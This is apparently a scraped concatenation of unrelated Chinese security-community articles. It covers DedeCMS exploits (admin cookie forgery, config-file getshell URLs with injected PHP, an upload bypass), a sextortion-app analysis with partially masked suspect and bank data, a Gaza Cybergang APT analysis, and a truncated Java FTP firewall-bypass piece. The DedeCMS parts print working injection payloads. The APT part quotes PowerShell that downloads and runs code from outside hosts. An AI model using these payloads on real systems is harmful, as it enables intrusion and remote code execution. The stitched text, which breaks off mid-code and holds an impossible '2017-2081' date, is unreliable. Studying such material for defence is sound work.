### 代码分析
在`/member/index.php`中会接收uid和action参数。uid为用户名，进入`index.php`后会验证Cookie中的用户ID与uid(用户名)并确定用户权限
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid');
if(empty($last_vtime))
{
$last_vtime = 0;
}
if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
{
if($last_vid!='')
{
$last_vids = explode(',',$last_vid);
$i = 0;
$last_vid = $uid;
foreach($last_vids as $lsid)
{
if($i>10)
{
break;
}
else if($lsid != $uid)
{
$i++;
$last_vid .= ','.$last_vid;
}
}
}
else
{
$last_vid = $uid;
}
PutCookie('last_vtime', $vtime, 3600*24, '/');
PutCookie('last_vid', $last_vid, 3600*24, '/');
我们可以看到当uid存在值时就会进入我们现在的代码中，当cookie中的`last_vid`中不存在值为空时，就会将uid值赋予过去，`$last_vid
= $uid;`，然后PutCookie。
那么这么说，我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。
而在接下来会验证用户是否登录。
现在我们来看看，dedecms会员认证系统是怎么实现的：`/include/memberlogin.class.php`
//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);
if ($cache)
{
$this->fields = GetCache($this->memberCache, $this->M_ID);
if( empty($this->fields) )
{
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
} else {
$formcache = TRUE;
}
} else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}
if(is_array($this->fields)){
#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
if($data = uc_get_user($this->fields['userid']))
{
if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
{
$this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
$dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
}
}
}
#/aip}}
//间隔一小时更新一次用户登录时间
if(time() - $this->M_LoginTime > 3600)
{
$dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
}
$this->M_LoginID = $this->fields['userid'];
$this->M_MbType = $this->fields['mtype'];
$this->M_Money = $this->fields['money'];
$this->M_UserName = FormatUsername($this->fields['uname']);
$this->M_Scores = $this->fields['scores'];
$this->M_Face = $this->fields['face'];
$this->M_Rank = $this->fields['rank'];
$this->M_Spacesta = $this->fields['spacesta'];
$sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
$scrow = $dsql->GetOne($sql);
$this->fields['honor'] = $scrow['titles'];
$this->M_Honor = $this->fields['honor'];
if($this->fields['matt']==10) $this->isAdmin = TRUE;
$this->M_UpTime = $this->fields['uptime'];
$this->M_ExpTime = $this->fields['exptime'];
$this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
if($this->M_Rank>10 && $this->M_UpTime>0){
$this->M_HasDay = $this->Judgemember();
}
if( !$formcache )
{
SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
}
}else{
$this->ResetUser();
}
}
}
`$this->M_ID`等于Cookie中的DedUserID，我们继续看看`GetCookie`函数
if ( ! function_exists('GetCookie'))
{
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
}
它不但读了cookie还验证了md5值。
### 漏洞复现
这样，由于`index.php`中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题，因为我们上面是通过用户名伪造ID的，用户名为字符串而ID为整数，但好在在构造用户类中将M_ID intval了一下`$this->M_ID =
intval($this->M_ID);` 那么这么说，如果我们想伪造ID为1的用户的Md5，我们只要在上面设置uid(用户名)为'000001'即可。
可以看到已经获取到了，拿去当做DeDeUserID，可以看到，登陆了admin用户
## Dedecms V5.7后台的两处getshell(CVE-2018-9175)
### 漏洞成因
后台写配置文件过滤不足导致写shell
### 代码分析
第一个
在`/dede/sys_verifies.php`中的第152行处
else if ($action == 'getfiles')
{
if(!isset($refiles))
{
ShowMsg("你没进行任何操作！","sys_verifies.php");
exit();
}
$cacheFiles = DEDEDATA.'/modifytmp.inc';
$fp = fopen($cacheFiles, 'w');
fwrite($fp, '<'.'?php'."\r\n");
fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
$dirs = array();
$i = -1;
$adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
foreach($refiles as $filename)
{
$filename = substr($filename,3,strlen($filename)-3);
if(preg_match("#^dede/#i", $filename))
{
$curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
} else {
$curdir = GetDirName($filename);
}
if( !isset($dirs[$curdir]) )
{
$dirs[$curdir] = TestIsFileDir($curdir);
}
$i++;
fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
}
fwrite($fp, '$fileConut = '.$i.';'."\r\n");
fwrite($fp, '?'.'>');
fclose($fp);
可以看到，这里会将`$refiles`数组中的内容写入配置文件`modifytmp.inc`中。
dedecms对于输入是全局过滤的，在`common.inc.php`中注册并过滤了外部提交的变量
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) )
{
exit('Request var not allow!');
}
}
}
//var_dump($_REQUEST);exit;
CheckRequest($_REQUEST);
CheckRequest($_COOKIE);
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
}
上面的`$refiles`就是注册的外部变量，可见已经`addlashes`了而我们还是需要绕过`fwrite($fp, '$files['.$i.'] =
"'.$filename.'";'."\r\n");`实现注入shell，首先需要注入就必须闭合双引号，在这里有个诡异的操作
$filename = substr($filename,3,strlen($filename)-3);
去掉了输入的前三个字符，这样就为我们写shell制造了机会，当我们输入\"
时经过`addlashes`会变成\\\"，再去掉前三个字符就只剩下双引号实现闭合。
此时写入shell后只要再找一个包含`modifytmp.inc`文件的文件就好了，全局搜索一下可以发现就在本文件`/dede/sys_verifies.php`
第二个
同样是写配置文件，位于`/dede/sys_cache_up.php`
else if($step == 2)
{
include_once(DEDEINC."/enums.func.php");
WriteEnumsCache();
//WriteAreaCache(); 已过期
ShowMsg("成功更新枚举缓存，准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
exit();
}
跟进`WriteEnumsCache()`
function WriteEnumsCache($egroup='')
{
global $dsql;
$egroups = array();
if($egroup=='') {
$dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
}
else {
$dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
}
$dsql->Execute('enum');
while($nrow = $dsql->GetArray('enum')) {
$egroups[] = $nrow['egroup'];
}
foreach($egroups as $egroup)
{
$cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
$fp = fopen($cachefile,'w');
fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
$dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
$dsql->Execute('enum');
$issign = -1;
$tenum = false; //三级联动标识
while($nrow = $dsql->GetArray('enum'))
{
fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
if($issign==-1) $issign = $nrow['issign'];
if($nrow['issign']==2) $tenum = true;
}
if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
fwrite($fp,'?'.'>');
fclose($fp);
if(empty($issign)) WriteEnumsJs($egroup);
}
return '成功更新所有枚举缓存！';
}
可以看到，直接从数据库中读取并写入php文件中，从数据库中取出后并没有经过过滤。
将shell写进数据库中
https://192.168.10.3/DedeCMS/uploads/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();//&islogin=1
### 漏洞复现
因为包含是在同一个文件，所以直接输入
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
## DedeCMS 后台文件上传getshell（CVE-2019-8362）
### 漏洞成因
上传zip文件解压缩对于文件名过滤不周，导致getshell
### 代码分析
`/dede/album_add.php` 175行验证后缀
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);
进入函数：
function GetMatchFiles($indir, $fileexp, &$filearr)
{
$dh = dir($indir);
while($filename = $dh->read())
{
$truefile = $indir.'/'.$filename;
if($filename == "." || $filename == "..")
{
continue;
}
else if(is_dir($truefile))
{
$this->GetMatchFiles($truefile, $fileexp, $filearr);
}
else if(preg_match("/\.(".$fileexp.")/i",$filename))
{
$filearr[] = $truefile;
}
}
$dh->close();
}
可以确定`preg_match("/\\.(".\$fileexp.")/i",\$filename)`只是判断了文件名中是否存在.jpg、.png、.gif中的一个，只要构造`1.jpg.php`就可以绕过
### 漏洞复现
生成一个`1.php`并改名为`1.jpg.php`
<?php phpinfo();?>
将文件压缩为`1.zip`
找到文件式管理器下的soft目录
将压缩文件上传
访问`album_add.php`
http://192.168.10.3/DedeCMS/Drunkmars/album_add.php
选择从zip包中解压图片
发布后点击预览文档
点击上传的包
即可打出`phpinfo()` | 社区文章 |
# 我被“裸聊APP”诈骗了
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**概述**
：疫情之下，各行各业为了生存发展都在谋求转型，诈骗界也不例外。就色情类诈骗而言，最近“找小姐”诈骗、仙人跳诈骗几乎为零，P2P裸贷诈骗随着整治也告一段落，但“裸聊”被敲诈的案件却暴涨。其实原因很简单，你懂得…,在网上寻欢作乐、寻找慰藉，给专业犯罪团伙创造了致富机会。
最近暗影实验室接收了一名受害者的求助，受害者声称自己与网友进行QQ视频裸聊被录制了视频，且在网友推荐下载了一款名为糖果的软件，这款软件会上传了用户手机联系人信息，诈骗者以此威胁受害者一直转账。
图1-1网友求助信息
图1-2受害者聊天记录
## 诈骗实施流程
和以往我们看到的裸聊APP不一样，以前你可能只是被诱骗购买会员，少则九块九，多则九十九，对于很多人来说都是小钱，即使被骗了，也可能就当生活小插曲，过几天就抛到脑后了。而此次我们面对的是更高级的诈骗手段，说高级但其实又是换汤不换药。“裸聊”敲诈的方法很简单，嫌疑人通过聊天软件等各种渠道做推广，吸引受害者下载安装“直播软件”，然后用美女裸聊为诱饵，利用社交软件主动发送视频与受害者进行裸聊，你和美女裸聊的全过程都被录制了视频。而其实，这个直播软件是个木马程序，可以盗取手机上的全部通讯录。诈骗者利用受害者害怕裸聊事件被暴露的恐惧心理，威胁用户支付一定费用删除裸聊视频。
图1-3裸聊诈骗实施流程
## 样本信息
文件名 | MD5 | 安装名称
---|---|---
糖果.apk | 85494e8eb34a688592ae0f1ae1fe5270 | 糖果
## 代码分析
（1）APP运行界面
应用首次运行请求申请读取联系人信息权限、且用户需输入邀请码才可进入应用。
图1-4恶意软件运行界面
**（2）技术手段**
该应用启动后加载了asset目录下的index.android.bundle文件。
图1-5加载index.android.bundle文
该文件是使用javascript代码编写而成。在该文件中实现了获取用户隐私数据主要代码调用。通过@ReactMethod方式在js文件中调用android原生API代码。实现js与java的交互，这有助于避免被杀毒软件查杀。
（1）应用申请了完整的获取用户隐私数据权限列表。
图1-6 权限请求列表
（2）在js中通过调用java的getAll（）方法获取用户联系人信息。
图1-7 js中调用java代码
（3）Java代码中实现了获取用户联系人信息的功能，应用会收集用户联系人电话、姓名、邮件、发件地址、公司地址等信息。
图1-8 获取联系人信息
（4）将获取的用户联系人信息上传至服务器：http://tg.ju***n.cc/index.php/Api/Index/telAdd。
图1-9 上传用户联系人信
上传用户联系人电话号码、姓名到服务器，其中code是用户登录时输入的邀请码。
图1-10 上传用户联系人信息数据包
（3）恶意程序服务器
恶意程序的服务器后台：http://tg.j***un.cc/admin/index/login。
图1-11 恶意程序服务器
## 溯源分析
通过受害者提供的线索以及我们通过分析得到的线索，我们对该app的信息进行了溯源得到以下信息。
（1）嫌疑人：
姓名：*安辉
地址：岳阳市**楼区**东路355号
手机号码：180***28329
图1-12 溯源脑图
（1）服务器地址溯源：tg.j***un.cc
该服务器地址IP信息为：180.***.228.141、IP地址为香港。对该IP进行反查得到以下域名。
图1-13 域名IP信息
域名列表：
域名
---
[j***un.cc](https://x.threatbook.cn/nodev4/domain/jueyun.cc) |
[m.wd***8.com](https://x.threatbook.cn/nodev4/domain/m.wdgj88.com)
[www.j***un.cc](https://x.threatbook.cn/nodev4/domain/www.jueyun.cc) |
[yo***un8.com](https://x.threatbook.cn/nodev4/domain/yongrun8.com)
[www.12***0md.com](https://x.threatbook.cn/nodev4/domain/www.12580md.com) |
[tg.ju***un.cc](https://x.threatbook.cn/nodev4/domain/tg.jueyun.cc)
[www.jn***xz.com](https://x.threatbook.cn/nodev4/domain/www.jnfrxz.com) |
[125***md.com](https://x.threatbook.cn/nodev4/domain/12580md.com)
[jn***xz.com](https://x.threatbook.cn/nodev4/domain/jnfrxz.com) |
[wd***88.com](https://x.threatbook.cn/nodev4/domain/wdgj88.com)
[www.wd***88.com](https://x.threatbook.cn/nodev4/domain/www.wdgj88.com) |
[www.yon***n8.com](https://x.threatbook.cn/nodev4/domain/www.yongrun8.com)
且该域名在2017-2081年不断修改备案信息，现已无法查询到域名备案信息。
图1-14 域名历史备案信息
（2）支付方式溯源
对诈骗者提供的收款码进行扫码，根据支付宝显示信息“景**超市”，我们进行检索，找到大量相关数据，有一家岳阳市—景**超市格外显眼。
图1-15 支付宝信息
接下来我们就该超市展开进一步溯源，得知这家超级全名为“岳阳南***区景***超市”，地址在“岳阳市南**区求***路355号”，是由一位名叫“*安辉”的人经营。这与支付宝付款码的姓名不谋而合，我们觉得该人有很大嫌疑。
图1-16“景**超市”企业信息
（3）银行卡信息溯源
我们对诈骗团伙提供的用于收款转账的银行卡信息进行查询发现有两张银行卡开户地在湖南，其中一张银行卡开户地在湖南岳阳这与我们查询到的嫌疑人“*安辉”所在地一样。因此我们断定“*安辉”为嫌疑人之一且诈骗团伙可能在湖南这一片：
姓名 | 卡号 | 银行 | 开户地
---|---|---|---
白*元 | 6215590****05800000 | 工行 | 内蒙古自治区 – 鄂尔多斯
许*平 | 6217007****6870000 | 建行 | 广东省 – 深圳
高*红 | 6217995****12330000 | 邮政 | 湖南省 – 岳阳
文*玲 | 6230901****10480000 | 农村信用社 | 湖南省农村信用社联合社 – 借记卡 – 福祥借记IC卡
（4）QQ溯源
诈骗者使用的QQ。QQ号：3461***870用于引诱用户进行裸聊。QQ号：345***2615用于事后威胁用户进行诈骗转账。这两个QQ号都是新注册的小号，我们请求添加QQ，但是被拒绝，且QQ空间也拒绝对外开放。可见诈骗者的防范心很强，并不随意同意他人添加。基本都是主动出击添加目标。
图1-17 诈骗者QQ页面
## 扩展分析
通过关联分析在恒安嘉新App全景平台态势平台上，我们发现多款用于裸聊的恶意软件。
图1-18 恶意应用扩展信息
应用服务器地址：
安装名称 | | 服务器地址 | | IP地址 | | 是否存活 |
---|---|---|---|---|---|---|---
糖果 | | http://tg.j***un.cc/index.php/Api/Index/telAdd | | 180.***.228.141 |
| 是 |
夜约 | | http://www.ya***ep.cn/api/Index/telAdd | | 110.***.54.166 | | 否 |
恰聊 | | http://www.t***z.top/index.php/Api/Index/telAdd | | 175.***.28.229 |
| 是 |
左耳 | | http://www.mm***hg.top/index.php/Api/Index/telAdd | | 解析失败 | | 否 |
附近约爱 | | http://0829.snh***yi.com/app/api?sb=a | | 185.***.171.210 | | 否 |
这些恶意程序都具有相同的代码结构。但是有的应用的签名信息却不同，说明这些应用不是同一制作者制作，不是由同一制作者制作却拥有相同的代码。猜测可能是由同一源码打包而成。
图1-19 样本代码结构
经过一番信息查找，我们找到了这些裸聊框架的源码。
图1-20 恶意软件源码信息
网上有大量该源码信息，且该恶意软件源码框架提供了详细的使用教程，可见打包一个裸聊诈骗软件并不需要花费什么功夫。
图1-21 恶意程序源码框架
## 总结
诈骗团伙使用的诈骗手段不断升级，从利用仿冒应用进行电信诈骗，到利用木马程序盗取用户通讯录信息,同时配合裸聊进行敲诈无不与金钱息息相关。用户应在提升自身防护意识的同时做好自身，不轻信他人，坚决抵制不良诱惑。让网络诈骗从无孔不入到无孔可入。 | 社区文章 |
# 【木马分析】Gaza Cybergang APT团伙新样本分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**事件背景**
2017年6月下旬， 360威胁情报中心发现了Gaza Cybergang APT事件的新样本，其特点是恶意代码完全使用网上流行的标准攻击框架Cobalt
Strike生成，配合CVE-2017-0199漏洞通过鱼叉邮件投递，本文档对并对此次攻击事件的攻击链条进行梳理，并对使用的木马相关技术进行分析。
**样本分析**
该文档所利用的漏洞为CVE-2017-0199，该漏洞利用OFFICE OLE对象链接技术，将包裹的恶意链接对象嵌在文档中，OFFICE调用[URL
Moniker](https://msdn.microsoft.com/en-us/library/ms775149%28v=vs.85%29.aspx)（COM对象）将恶意链接指向的HTA文件下载到本地， [URL
Moniker](https://msdn.microsoft.com/en-us/library/ms775149%28v=vs.85%29.aspx)通过识别响应头中content-type的字段信息最后调用mshta.exe将下载到的HTA文件执行起来。
可以看到下载地址为http://138[.]68.242.68:820/word.hta
Hta的代码如下：
<script>
a=new ActiveXObject('WScript.Shell');
a.run('%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -nop -c "iex(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1')"', 0, true);
window.close();
</script>
其会启用powershell去下载https://gist[.]githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1
1.ps1其实也是一个downloader,从https://drive[.]google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU下载一个PE文件并保存为%appdata%目录下的ps.exe。
powershell.exe -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://drive.google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU',"$env:APPDATAps.exe");Start-Process ("$env:APPDATAps.exe")
ps.exe是一个sfx文件，解压出来notepad.exe是一个dropper，其会在temp目录释放一个powershell脚本，然后以"C:WINDOWSsystem32WindowsPowerShellv1.0powershell.exe"
-noProfile -ExecutionPolicy Bypass -File "C:Documents and
SettingsAdministratorLocal SettingsTemp3A.tmp3B.ps1"执行该脚本。
Powershell脚本的功能也非常简单，将内置的字符串base64decode后，得到一个PE文件（beacon_dll.dll），然后CreateThread一个新线程，将这个dll加载起来。
beacon_dll.dll是使用cobalt strike攻击框架生成的标准攻击载荷。其使用了一种叫做Reflective
Load的技术，也就是在PE头部插入shellcode并实现一个模拟加载dll的导出函数，在shellcode中调用该导出函数将自身加载进来，并以fdwReason
= 4来调用DllMain，这样做的好处有两个：
**可以直接将dll当成shellcode加载注入到内存中从MZ头开始执行；**
**正常地加载dll不会执行到功能流程（因为在MSDN中指明了fdwReason的值只能为0、1、2、3）。**
MZ头部的shellcode如下：
实现自加载的导出函数的校验PE头部分代码：
DllMain中代码：
可以看到，只有在fdwReason == 4时才会进入真正的功能流程，进入该流程后，首先将数据节偏移为 0x2E040，大小为
0x610的数据解密，解密方式是xor 0x69, 解密出的数据中包含了C&C， lol[.]mynetav.org。
然后开始连接C&C服务器，这里支持dns_text,http,smb,tcp等多种协议的通信方式：
最后进入的就是远控功能部分了，由于是Cobalt
Strike生成的标准载荷，功能包括显示应用信息、显示机器的凭证信息，文件下载，查看事件日志，键盘记录，获取代理信息，屏幕截图，加载脚本等等..
具体功能就不再分析了。
**扩展与关联分析**
使用 **360威胁情报中心的威胁情报平台（**[ **http://ti.360.com**](http://ti.360.com) **）**
对样本连接的C&C地址（138.68.242.68）做进一步关联，发现了一个新的样本：
该样本与上面提到的样本几乎完全一致，只是连接的url变成了http://138[.]68.242.68:808/word.hta
另外我们发现lol.mynetav.org解析到的ip地址就是138.68.242.68，并且有一个域名ksm5sksm5sksm5s.zzux.com也解析到了这个ip上，而ksm5sksm5sksm5s.zzux.com这个域名，是Gaza
Cybergang攻击事件（Gaza Cybergang
APT活动是在2015年9月被Kaspersky公开揭露出来的一个APT组织，最早的活动可以追溯到2012年。相关行动的主要使用的攻击方式：鱼叉邮件，涉及行业：政治，受影响国家：埃及、阿联酋、也门）的其中一个C&C。
综合上面提到的文档标题、内容和来源，我们认为这次事件应该是Gaza Cybergang APT活动的又一次攻击活动。
**IOC** | 社区文章 |
文章略长，实战意义有限，慎读。
**0x00 前言**
前两天看了个博客<http://blog.blindspotsecurity.com/，>
故成此文，算是翻译加读后感。英文不算太烂的建议阅读原文。
**0x01 概述**
看了题目，熟悉python的应该会联想到其urllib库的头注入（CVE-2016-5699）。这里是Java在处理FTP流的时候存在类似的注入。利用这个缺陷可以在很多场景实施攻击（具体可以看原文），但是最经典的是欺骗防火墙。
**0x02 基础知识**
要明白这个姿势需要储备一定的ftp知识。ftp比较简单，以下是不负责任的要点概括：
我们知道ftp服务器默认端口是21，其实服务端在这个端口和客户端建立的连接只是用于传输命令，这个连接叫做“control
connection”。而用于传输数据的端口，服务端默认监听在20端口中，这个连接叫做“data connection”。但是需要注意的是，服务端的data
connection端口并不一定是20。这里引出ftp的两种工作模式：主动（active）模式和被动（passive）模式。
在主动模式中:
* 客户端从任意端口n(n≥1024）与服务端21端口建立“control connection”；
* 客户端通过端口n发送PORT指令，通知服务端自己监听的“data connection”端口为n+1（默认是n+1但是不总是）；
* 服务端从20端口与客户端的n+1端口建立“data connection”。
以下是我测试访问ftp://cddis.gsfc.nasa.gov/pub/gps/igsmail/igsmess.6988下载文件的部分报文：
PORT指令格式为：
PORT h1,h2,h3,h4,p1,p2
1）h1-h4对应IP 4个8bit地址，如10,1,2,4表示10.1.2.4；
2）p1,p2对应端口，计算方式：port = p1 _2^8 + p2_ 2^0
在被动模式中:
* 客户端从任意非特权端口n(n≥1024）与服务端21端口建立“controlconnection”；
* 客户端通过端口n发送PASV指令，通知服务端采用被动模式建立“data connection”；
* 服务端从任意非特权端口m (m≥1024）监听“data connection”；
* 客户端从端口n+1（默认是n+1但是不总是）与服务端m端口建立 “dataconnection”。
**0x03 细节**
本文讨论的场景是主动模式，观察主动模式的图示，会发现客户端会监听一个端口等待服务端回连。假设客户端前面有防火墙不允许入站流量，岂不是无法建立连接？大部分防火墙厂商会考虑这种情况，状态防火墙通过跟踪连接状态，识别出待开放的端口是用于连接ftp连接的，判断正常所需，并为此建立一条NAT规则，允许ftp服务端连接客户端。
上面所述如果清楚了，防火墙欺骗就跃然纸上了。如果攻击者能控制受害客户端主动发送PORT指令，并指定特定端口x，那么防火墙会被欺骗建立NAT规则，进而受害客户端的x端口将会对外开放。如果端口x上跑的是redis、memcached等敏感服务并且没有安全加固，有足够的想象空间……
但是有两个棘手的问题需要解决。
(1) 受害客户端的内网IP地址
我们想控制受害客户端发送PORT命令，必须知道其内网IP（回顾PORT命令），如果IP不正确，防火墙不会设置相应的规则。怎么获取其内网IP呢？我从原文中看不是很透彻。
FTP clients will attempt to initiate a passive session to retrieve the z.txt
file, but if the attacker's FTP server rejects the PASV command, then the
client will fall back to classic mode and send a PORT command. Since the port
used for the control channel is non-standard, it is unlikely that a stateful
firewall at the victim's site will attempt to interpret and translate the PORT
commands on this session. That will cause the internal IP address of the
victim to be leaked to the attacker.
字面意思是先尝试让客户端访问攻击者的ftp server，客户端首先会尝试以被动模式建立”data
connection”，服务端拒绝其PASV命令，迫使客户端采用主动模式，当客户端采用主动模式，会发送PORT指令，指令会带上内网IP，从而造成泄露。
为了弄清楚，看了ftp相关的源码，看完就明朗多了。
1) openDataConnection
private Socket openDataConnection(String var1) throws FtpProtocolException, IOException {
try {
return this.openPassiveDataConnection(var1);
} catch (FtpProtocolException var14) {
String var4 = var14.getMessage();
if (!var4.startsWith("PASV") && !var4.startsWith("EPSV")) {//留意这个错误信息判断
throw var14;
} else if (this.proxy != null && this.proxy.type() == Type.SOCKS) {
throw new FtpProtocolException("Passive mode failed");
} else {
ServerSocket var3 = new ServerSocket(0, 1, this.server.getLocalAddress());
Socket var2;
try {
InetAddress var15 = var3.getInetAddress();//IP地址
if (var15.isAnyLocalAddress()) {
var15 = this.server.getLocalAddress();
}
String var5 = "EPRT |" + (var15 instanceof Inet6Address ? "2" : "1") + "|" + var15.getHostAddress() + "|" + var3.getLocalPort() + "|";//拼接EPRT 命令，包含IP地址
if (!this.issueCommand(var5) || !this.issueCommand(var1)) {
var5 = "PORT ";
byte[] var6 = var15.getAddress();
for(int var7 = 0; var7 < var6.length; ++var7) {
var5 = var5 + (var6[var7] & 255) + ",";
}
var5 = var5 + (var3.getLocalPort() >>> 8 & 255) + "," + (var3.getLocalPort() & 255);
this.issueCommandCheck(var5);
this.issueCommandCheck(var1);
}
if (this.connectTimeout >= 0) {
var3.setSoTimeout(this.connectTimeout);
} else if (defaultConnectTimeout > 0) {
var3.setSoTimeout(defaultConnectTimeout);
}
var2 = var3.accept();
if (this.readTimeout >= 0) {
var2.setSoTimeout(this.readTimeout);
} else if (defaultSoTimeout > 0) {
var2.setSoTimeout(defaultSoTimeout);
}
} finally {
var3.close();
}
if (this.useCrypto) {
try {
var2 = this.sslFact.createSocket(var2, this.serverAddr.getHostName(), this.serverAddr.getPort(), true);
} catch (Exception var12) {
throw new IOException(var12.getLocalizedMessage());
}
}
return var2;
}
}
}
openDataConnection打开“data
connection”，调用了openPassiveDataConnection，尝试调用被动模式，先看看openPassiveDataConnection，再回头看openDataConnection。
2）openPassiveDataConnection
private Socket openPassiveDataConnection(String var1) throws FtpProtocolException, IOException {
InetSocketAddress var4 = null;
String var2;
int var3;
Matcher var5;
String var6;
if (this.issueCommand("EPSV ALL")) {
this.issueCommandCheck("EPSV");
var2 = this.getResponseString();
if (epsvPat == null) {
epsvPat = Pattern.compile("^229 .* \\(\\|\\|\\|(\\d+)\\|\\)");
}
var5 = epsvPat.matcher(var2);
if (!var5.find()) {
throw new FtpProtocolException("EPSV failed : " + var2);//留意这里抛出的异常
}
var6 = var5.group(1);
var3 = Integer.parseInt(var6);
InetAddress var7 = this.server.getInetAddress();
if (var7 != null) {
var4 = new InetSocketAddress(var7, var3);
} else {
var4 = InetSocketAddress.createUnresolved(this.serverAddr.getHostName(), var3);
}
} else {
this.issueCommandCheck("PASV");
var2 = this.getResponseString();
if (pasvPat == null) {
pasvPat = Pattern.compile("227 .* \\(?(\\d{1,3},\\d{1,3},\\d{1,3},\\d{1,3}),(\\d{1,3}),(\\d{1,3})\\)?");
}
var5 = pasvPat.matcher(var2);
if (!var5.find()) {
throw new FtpProtocolException("PASV failed : " + var2);/留意这里抛出的异常
}
var3 = Integer.parseInt(var5.group(3)) + (Integer.parseInt(var5.group(2)) << 8);
var6 = var5.group(1).replace(',', '.');
var4 = new InetSocketAddress(var6, var3);
}
Socket var9;
if (this.proxy != null) {
if (this.proxy.type() == Type.SOCKS) {
var9 = (Socket)AccessController.doPrivileged(new PrivilegedAction<Socket>() {
public Socket run() {
return new Socket(FtpClient.this.proxy);
}
});
} else {
var9 = new Socket(Proxy.NO_PROXY);
}
} else {
var9 = new Socket();
}
InetAddress var10 = (InetAddress)AccessController.doPrivileged(new PrivilegedAction<InetAddress>() {
public InetAddress run() {
return FtpClient.this.server.getLocalAddress();
}
});
var9.bind(new InetSocketAddress(var10, 0));
if (this.connectTimeout >= 0) {
var9.connect(var4, this.connectTimeout);
} else if (defaultConnectTimeout > 0) {
var9.connect(var4, defaultConnectTimeout);
} else {
var9.connect(var4);
}
if (this.readTimeout >= 0) {
var9.setSoTimeout(this.readTimeout);
} else if (defaultSoTimeout > 0) {
var9.setSoTimeout(defaultSoTimeout);
}
if (this.useCrypto) {
try {
